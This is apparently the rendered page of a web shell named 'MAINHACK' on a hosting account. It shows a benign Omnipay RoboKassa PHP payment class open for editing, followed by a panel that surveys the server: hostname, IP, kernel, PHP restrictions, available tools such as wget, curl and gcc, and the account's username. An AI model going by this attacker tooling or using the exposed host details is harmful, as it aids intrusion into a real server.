[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: AbstractRequest.php
<?php /** * RoboKassa driver for Omnipay PHP payment library. * * @link https://github.com/hiqdev/omnipay-robokassa * @package omnipay-robokassa * @license MIT * @copyright Copyright (c) 2015-2017, HiQDev (http://hiqdev.com/) */ namespace Omnipay\RoboKassa\Message; use Omnipay\Common\Exception\InvalidRequestException; /** * RoboKassa Abstract Request. */ abstract class AbstractRequest extends \Omnipay\Common\Message\AbstractRequest { protected $zeroAmountAllowed = false; /** * Get the InvId * * @return integer invid. Defaults to 0 (zero) */ public function getInvId() { return $this->getParameter('InvId') ?? 0; } /** * Set the InvId value. * * @param integer $invid invid * * @return self */ public function setInvId($value) { if (!is_numeric($value)) { throw new InvalidRequestException('Property InvId must be numeric'); } return $this->setParameter('InvId', $value); } /** * Get the purse. * * @return string purse */ public function getPurse() { return $this->getParameter('purse'); } /** * Set the purse. * * @param string $purse purse * * @return self */ public function setPurse($value) { return $this->setParameter('purse', $value); } /** * @return string */ public function getClient() { return $this->getParameter('client'); } /** * @param $value * @return \Omnipay\Common\Message\AbstractRequest */ public function setClient($value) { return $this->setParameter('client', $value); } /** * @return string */ public function getReceipt() { return rawurlencode($this->getParameter('receipt')); } /** * @param $value * @return \Omnipay\Common\Message\AbstractRequest */ public function setReceipt($value) { return $this->setParameter('receipt', $value); } public function getCurrency() { $currency = $this->getParameter('currency'); if ($currency === 'RUB') { return ''; } return $currency; } /** * Get the payment currency label. * * @return string */ public function getCurrencyLabel() { return $this->getParameter('currencyLabel'); } /** * @param string $value * @return AbstractRequest */ public function setCurrencyLabel($value) { return $this->setParameter('currencyLabel', $value); } /** * Get the secret key. * * @return string secret key */ public function getSecretKey() { return $this->getParameter('secretKey'); } /** * Set the secret key. * * @param string $key secret key * * @return self */ public function setSecretKey($value) { return $this->setParameter('secretKey', $value); } /** * Get the secret key for notification signing. * * @return string secret key */ public function getSecretKey2() { return $this->getParameter('secretKey2'); } /** * Set the secret key for notification signing. * * @param string $value secret key * * @return self */ public function setSecretKey2($value) { return $this->setParameter('secretKey2', $value); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285